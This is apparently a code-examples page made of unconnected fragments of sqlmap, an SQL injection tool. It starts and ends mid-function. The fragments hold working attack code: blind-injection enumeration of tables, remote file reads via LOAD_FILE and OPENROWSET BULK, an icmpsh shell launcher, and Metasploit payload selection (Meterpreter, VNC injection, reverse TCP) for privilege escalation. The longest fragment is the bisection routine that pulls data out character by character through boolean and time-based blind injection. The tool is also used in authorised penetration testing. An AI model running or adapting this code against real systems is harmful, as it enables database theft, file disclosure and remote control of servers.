                            query = rootQuery.blind.query
                            query = query % (tblQuery + whereDbsQuery)
                            query = agent.limitQuery(index, query)

                            foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False))
                            foundDb = safeSQLIdentificatorNaming(foundDb)

                            if foundDb not in foundTbls:
                                foundTbls[foundDb] = []

                            if tblConsider == "2":
                                foundTbls[foundDb].append(tbl)

                        if tblConsider == "2":
                            continue
                    else:
                        for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),):
                            db = safeSQLIdentificatorNaming(db)
                            if db not in foundTbls:
                                foundTbls[db] = []
                else:
                    dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird"
                    foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = []

                for db in foundTbls.keys():
                    db = safeSQLIdentificatorNaming(db)

                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s LIKE"
                    infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = query % unsafeSQLIdentificatorNaming(db)
                    query += " AND %s" % tblQuery

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s LIKE"
                        warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2

                        if query.endswith("'%s')"):
                            query = query[:-1] + " AND %s)" % tblQuery
                        else:
                            query += " AND %s" % tblQuery

                        if Backend.isDbms(DBMS.FIREBIRD):
                            query = safeStringFormat(query, index)

                        if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                            query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db))

                        if not Backend.isDbms(DBMS.FIREBIRD):
                            query = agent.limitQuery(index, query)

                        foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        if not isNoneValue(foundTbl):
                            kb.hintValue = foundTbl
                            foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
                            foundTbls[db].append(foundTbl)

        for db in foundTbls.keys():
            if isNoneValue(foundTbls[db]):
                del foundTbls[db]

        if not foundTbls:
            warnMsg = "no databases contain any of the provided tables"
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
        self.dumpFoundTables(foundTbls)
Exemplo n.º 36
0
                                          UNICODE_ENCODING,
                                          buffering=0)
                warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
                logger.warn(warnMsg)
            except IOError, _:
                errMsg = "unable to write to the temporary directory ('%s'). " % _
                errMsg += "Please make sure that your disk is not full and "
                errMsg += "that you have sufficient write permissions to "
                errMsg += "create temporary files and/or directories"
                raise SqlmapSystemException(errMsg)

        conf.resultsFP.writelines(
            "Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)

        logger.info(
            "using '%s' as the CSV results file in multiple targets mode" %
            conf.resultsFilename)


def _createFilesDir():
    """
    Create the file directory.
    """

    if not conf.rFile:
        return

    conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname

    if not os.path.isdir(conf.filePath):
        try:
Exemplo n.º 37
0
    def _checkFileLength(self, localFile, remoteFile, fileRead=False):
        if Backend.isDbms(DBMS.MYSQL):
            lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile

        elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
            lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid

        elif Backend.isDbms(DBMS.MSSQL):
            self.createSupportTbl(self.fileTblName, self.tblField,
                                  "VARBINARY(MAX)")
            inject.goStacked(
                "INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)"
                % (self.fileTblName, self.tblField, self.tblField, remoteFile,
                   self.fileTblName, self.tblField))

            lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField,
                                                             self.fileTblName)

        try:
            localFileSize = os.path.getsize(localFile)
        except OSError:
            warnMsg = "file '%s' is missing" % localFile
            logger.warn(warnMsg)
            localFileSize = 0

        if fileRead and Backend.isDbms(DBMS.PGSQL):
            logger.info(
                "length of read file '%s' cannot be checked on PostgreSQL" %
                remoteFile)
            sameFile = True
        else:
            logger.debug("checking the length of the remote file '%s'" %
                         remoteFile)
            remoteFileSize = inject.getValue(lengthQuery,
                                             resumeValue=False,
                                             expected=EXPECTED.INT,
                                             charsetType=CHARSET_TYPE.DIGITS)
            sameFile = None

            if isNumPosStrValue(remoteFileSize):
                remoteFileSize = long(remoteFileSize)
                localFile = getUnicode(localFile,
                                       encoding=sys.getfilesystemencoding()
                                       or UNICODE_ENCODING)
                sameFile = False

                if localFileSize == remoteFileSize:
                    sameFile = True
                    infoMsg = "the local file '%s' and the remote file " % localFile
                    infoMsg += "'%s' have the same size (%d B)" % (
                        remoteFile, localFileSize)
                elif remoteFileSize > localFileSize:
                    infoMsg = "the remote file '%s' is larger (%d B) than " % (
                        remoteFile, remoteFileSize)
                    infoMsg += "the local file '%s' (%dB)" % (localFile,
                                                              localFileSize)
                else:
                    infoMsg = "the remote file '%s' is smaller (%d B) than " % (
                        remoteFile, remoteFileSize)
                    infoMsg += "file '%s' (%d B)" % (localFile, localFileSize)

                logger.info(infoMsg)
            else:
                sameFile = False
                warnMsg = "it looks like the file has not been written (usually "
                warnMsg += "occurs if the DBMS process user has no write "
                warnMsg += "privileges in the destination path)"
                logger.warn(warnMsg)

        return sameFile
Exemplo n.º 38
0
    def _runIcmpshMaster(self):
        infoMsg = "running icmpsh master locally"
        logger.info(infoMsg)

        icmpshmaster(self.lhostStr, self.rhostStr)
Exemplo n.º 39
0
    def _selectPayload(self):
        if Backend.isOs(OS.WINDOWS) and conf.privEsc:
            infoMsg = "forcing Metasploit payload to Meterpreter because "
            infoMsg += "it is the only payload that can be used to "
            infoMsg += "escalate privileges via 'incognito' extension, "
            infoMsg += "'getsystem' command or post modules"
            logger.info(infoMsg)

            _payloadStr = "windows/meterpreter"
        else:
            _payloadStr = self._skeletonSelection("payload",
                                                  self._msfPayloadsList)

        if _payloadStr == "windows/vncinject":
            choose = False

            if Backend.isDbms(DBMS.MYSQL):
                debugMsg = "by default MySQL on Windows runs as SYSTEM "
                debugMsg += "user, it is likely that the the VNC "
                debugMsg += "injection will be successful"
                logger.debug(debugMsg)

            elif Backend.isDbms(DBMS.PGSQL):
                choose = True

                warnMsg = "by default PostgreSQL on Windows runs as "
                warnMsg += "postgres user, it is unlikely that the VNC "
                warnMsg += "injection will be successful"
                logger.warn(warnMsg)

            elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
                ("2005", "2008")):
                choose = True

                warnMsg = "it is unlikely that the VNC injection will be "
                warnMsg += "successful because usually Microsoft SQL Server "
                warnMsg += "%s runs as Network Service " % Backend.getVersion()
                warnMsg += "or the Administrator is not logged in"
                logger.warn(warnMsg)

            if choose:
                message = "what do you want to do?\n"
                message += "[1] Give it a try anyway\n"
                message += "[2] Fall back to Meterpreter payload (default)\n"
                message += "[3] Fall back to Shell payload"

                while True:
                    choice = readInput(message, default="2")

                    if not choice or choice == "2":
                        _payloadStr = "windows/meterpreter"

                        break

                    elif choice == "3":
                        _payloadStr = "windows/shell"

                        break

                    elif choice == "1":
                        if Backend.isDbms(DBMS.PGSQL):
                            logger.warn(
                                "beware that the VNC injection might not work")

                            break

                        elif Backend.isDbms(
                                DBMS.MSSQL) and Backend.isVersionWithin(
                                    ("2005", "2008")):
                            break

                    elif not choice.isdigit():
                        logger.warn("invalid value, only digits are allowed")

                    elif int(choice) < 1 or int(choice) > 2:
                        logger.warn("invalid value, it must be 1 or 2")

        if self.connectionStr.startswith(
                "reverse_http") and _payloadStr != "windows/meterpreter":
            warnMsg = "Reverse HTTP%s connection is only supported " % (
                "S" if self.connectionStr.endswith("s") else "")
            warnMsg += "with the Meterpreter payload. Falling back to "
            warnMsg += "reverse TCP"
            logger.warn(warnMsg)

            self.connectionStr = "reverse_tcp"

        return _payloadStr
Exemplo n.º 40
0
def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
    """
    This will run the program and present profiling data in a nice looking graph
    """

    try:
        __import__("gobject")
        from thirdparty.gprof2dot import gprof2dot
        from thirdparty.xdot import xdot
        import gtk
        import pydot
    except ImportError as ex:
        errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(
            ex)
        errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')"
        logger.error(errMsg)

        return

    if profileOutputFile is None:
        profileOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH,
                                         "sqlmap_profile.raw")

    if dotOutputFile is None:
        dotOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH,
                                     "sqlmap_profile.dot")

    if imageOutputFile is None:
        imageOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH,
                                       "sqlmap_profile.png")

    if os.path.exists(profileOutputFile):
        os.remove(profileOutputFile)

    if os.path.exists(dotOutputFile):
        os.remove(dotOutputFile)

    if os.path.exists(imageOutputFile):
        os.remove(imageOutputFile)

    infoMsg = "profiling the execution into file '%s'" % profileOutputFile
    logger.info(infoMsg)

    # Start sqlmap main function and generate a raw profile file
    cProfile.run("start()", profileOutputFile)

    infoMsg = "converting profile data into a dot file '%s'" % dotOutputFile
    logger.info(infoMsg)

    # Create dot file by using extra/gprof2dot/gprof2dot.py
    # http://code.google.com/p/jrfonseca/wiki/Gprof2Dot
    dotFilePointer = codecs.open(dotOutputFile, 'wt', UNICODE_ENCODING)
    parser = gprof2dot.PstatsParser(profileOutputFile)
    profile = parser.parse()
    profile.prune(0.5 / 100.0, 0.1 / 100.0)
    dot = gprof2dot.DotWriter(dotFilePointer)
    dot.graph(profile, gprof2dot.TEMPERATURE_COLORMAP)
    dotFilePointer.close()

    infoMsg = "converting dot file into a graph image '%s'" % imageOutputFile
    logger.info(infoMsg)

    # Create graph image (png) by using pydot (python-pydot)
    # http://code.google.com/p/pydot/
    pydotGraph = pydot.graph_from_dot_file(dotOutputFile)

    # Reference: http://stackoverflow.com/questions/38176472/graph-write-pdfiris-pdf-attributeerror-list-object-has-no-attribute-writ
    if isinstance(pydotGraph, list):
        pydotGraph = pydotGraph[0]

    try:
        pydotGraph.write_png(imageOutputFile)
    except OSError:
        errMsg = "profiling requires graphviz installed "
        errMsg += "(Hint: 'sudo apt-get install graphviz')"
        logger.error(errMsg)
    else:
        infoMsg = "displaying interactive graph with xdot library"
        logger.info(infoMsg)

        # Display interactive Graphviz dot file by using extra/xdot/xdot.py
        # http://code.google.com/p/jrfonseca/wiki/XDot
        win = xdot.DotWindow()
        win.connect('destroy', gtk.main_quit)
        win.set_filter("dot")
        win.open_file(dotOutputFile)
        gtk.main()
Exemplo n.º 41
0
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """

    abortedFlag = False
    showEta = False
    partialValue = u""
    finalValue = None
    retrievedLength = 0

    if charsetType is None and conf.charset:
        asciiTbl = sorted(set(ord(_) for _ in conf.charset))
    else:
        asciiTbl = getCharset(charsetType)

    threadData = getCurrentThreadData()
    timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if PARTIAL_HEX_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")

            if retVal and conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
                logger.info(infoMsg)
        elif PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")

            if retVal and not conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = "resumed: %s" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    try:
        # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
        if conf.predictOutput:
            kb.partRun = getPartRun()
        elif conf.api:
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None

        if partialValue:
            firstChar = len(partialValue)
        elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
            firstChar = 0
        elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
            if kb.fileReadMode:
                firstChar <<= 1
        elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int):
            firstChar = int(firstChar) - 1
        else:
            firstChar = 0

        if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
            lastChar = 0
        elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int):
            lastChar = int(lastChar)
        else:
            lastChar = 0

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
            expressionUnescaped = unescaper.escape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.escape(expression)

        if isinstance(length, basestring) and length.isdigit() or isinstance(length, int):
            length = int(length)
        else:
            length = None

        if length == 0:
            return 0, ""

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        if length and length > MAX_BISECTION_LENGTH:
            length = None

        showEta = conf.eta and isinstance(length, int)
        numThreads = min(conf.threads, length) or 1

        if showEta:
            progress = ProgressBar(maxValue=length)

        if timeBasedCompare and conf.threads > 1 and not conf.forceThreads:
            warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
            singleTimeWarnMessage(warnMsg)

        if numThreads > 1:
            if not timeBasedCompare or conf.forceThreads:
                debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
            warnMsg = "running in a single-thread mode. Please consider "
            warnMsg += "usage of option '--threads' for faster data retrieval"
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not showEta and not conf.api:
            if isinstance(length, int) and conf.threads > 1:
                dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
            else:
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
                hintValue = kb.hintValue

            if hintValue is not None and len(hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                forgedPayload = agent.extractPayload(payload)
                forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
                result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return hintValue[idx - 1]

            with hintlock:
                kb.hintValue = None

            return None

        def validateChar(idx, value):
            """
            Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
            """

            validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)

            if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

            result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)

            if result and timeBasedCompare:
                result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
                if not result:
                    warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
                    singleTimeWarnMessage(warnMsg)

            incrementCounter(kb.technique)

            return result

        def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
            """
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if "'%s'" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            if continuousOrder:
                while len(charTbl) > 1:
                    position = None

                    if charsetType is None:
                        if not firstCheck:
                            try:
                                try:
                                    lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
                                except IndexError:
                                    lastChar = None
                                if 'a' <= lastChar <= 'z':
                                    position = charTbl.index(ord('a') - 1)  # 96
                                elif 'A' <= lastChar <= 'Z':
                                    position = charTbl.index(ord('A') - 1)  # 64
                                elif '0' <= lastChar <= '9':
                                    position = charTbl.index(ord('0') - 1)  # 47
                            except ValueError:
                                pass
                            finally:
                                firstCheck = True

                        elif not lastCheck and numThreads == 1:  # not usable in multi-threading environment
                            if charTbl[(len(charTbl) >> 1)] < ord(' '):
                                try:
                                    # favorize last char check if current value inclines toward 0
                                    position = charTbl.index(1)
                                except ValueError:
                                    pass
                                finally:
                                    lastCheck = True

                    if position is None:
                        position = (len(charTbl) >> 1)

                    posValue = charTbl[position]
                    falsePayload = None

                    if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                        forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                        falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
                    else:
                        # e.g.: ... > '%c' -> ... > ORD(..)
                        markingValue = "'%s'" % CHAR_INFERENCE_MARK
                        unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
                        forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
                        falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)

                    if timeBasedCompare:
                        if kb.responseTimeMode:
                            kb.responseTimePayload = falsePayload
                        else:
                            kb.responseTimePayload = None

                    result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                    incrementCounter(kb.technique)

                    if not timeBasedCompare:
                        unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
                        if unexpectedCode:
                            warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
                            singleTimeWarnMessage(warnMsg)

                    if result:
                        minValue = posValue

                        if type(charTbl) != xrange:
                            charTbl = charTbl[position:]
                        else:
                            # xrange() - extended virtual charset used for memory/space optimization
                            charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                    else:
                        maxValue = posValue

                        if type(charTbl) != xrange:
                            charTbl = charTbl[:position]
                        else:
                            charTbl = xrange(charTbl[0], charTbl[position])

                    if len(charTbl) == 1:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    threadData.validationRun = 0
                                    if retried < MAX_REVALIDATION_STEPS:
                                        errMsg = "invalid character detected. retrying.."
                                        logger.error(errMsg)

                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
                                                warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                                dbgMsg = "turning off time auto-adjustment mechanism"
                                                logger.debug(dbgMsg)
                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
                                    else:
                                        errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        threadData.validationRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = "turning back on time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
            else:
                candidates = list(originalTbl)
                bit = 0
                while len(candidates) > 1:
                    bits = {}
                    for candidate in candidates:
                        bit = 0
                        while candidate:
                            bits.setdefault(bit, 0)
                            bits[bit] += 1 if candidate & 1 else -1
                            candidate >>= 1
                            bit += 1

                    choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]
                    mask = 1 << choice

                    forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
                    result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                    incrementCounter(kb.technique)

                    if result:
                        candidates = [_ for _ in candidates if _ & mask > 0]
                    else:
                        candidates = [_ for _ in candidates if _ & mask == 0]

                    bit += 1

                if candidates:
                    forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
                    result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                    incrementCounter(kb.technique)

                    if result:
                        return decodeIntToUnicode(candidates[0])

        # Go multi-threading (--threads > 1)
        if conf.threads > 1 and isinstance(length, int) and length > 1:
            threadData.shared.value = [None] * length
            threadData.shared.index = [firstChar]    # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:
                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        kb.locks.index.acquire()

                        if threadData.shared.index[0] - firstChar >= length:
                            kb.locks.index.release()
                            return

                        threadData.shared.index[0] += 1
                        currentCharIndex = threadData.shared.index[0]
                        kb.locks.index.release()

                        if kb.threadContinue:
                            charStart = time.time()
                            val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[currentCharIndex - 1 - firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                progress.progress(time.time() - charStart, threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex, endCharIndex + 1):
                                    output += '_' if currentValue[i] is None else currentValue[i]

                                for i in xrange(length):
                                    count += 1 if currentValue[i] is not None else 0

                                if startCharIndex > 0:
                                    output = ".." + output[2:]

                                if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
                                    output = output[:-2] + ".."

                                if conf.verbose in (1, 2) and not showEta and not conf.api:
                                    _ = count - firstChar
                                    output += '_' * (min(length, conf.progressWidth) - len(output))
                                    status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
                                    output += status if _ != length else " " * len(status)

                                    dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [_ for _ in partialValue]
                value.extend(_ for _ in threadData.shared.value)

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target URL was lost
            if None in value:
                partialValue = "".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
            else:
                finalValue = "".join(value)
                infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))

            if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api:
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar
            threadData.shared.value = ""

            while True:
                index += 1
                charStart = time.time()

                # Common prediction feature (a.k.a. "good samaritan")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            if showEta:
                                progress.progress(time.time() - charStart, len(commonValue))
                            elif conf.verbose in (1, 2) or conf.api:
                                dataToStdout(filterControlChars(commonValue[index - 1:]))

                            finalValue = commonValue
                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
                        testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset, otherCharset==asciiTbl)
                else:
                    val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))

                if val is None:
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                threadData.shared.value = partialValue = partialValue + val

                if showEta:
                    progress.progress(time.time() - charStart, index)
                elif conf.verbose in (1, 2) or conf.api:
                    dataToStdout(filterControlChars(val))

                # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
                if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n':
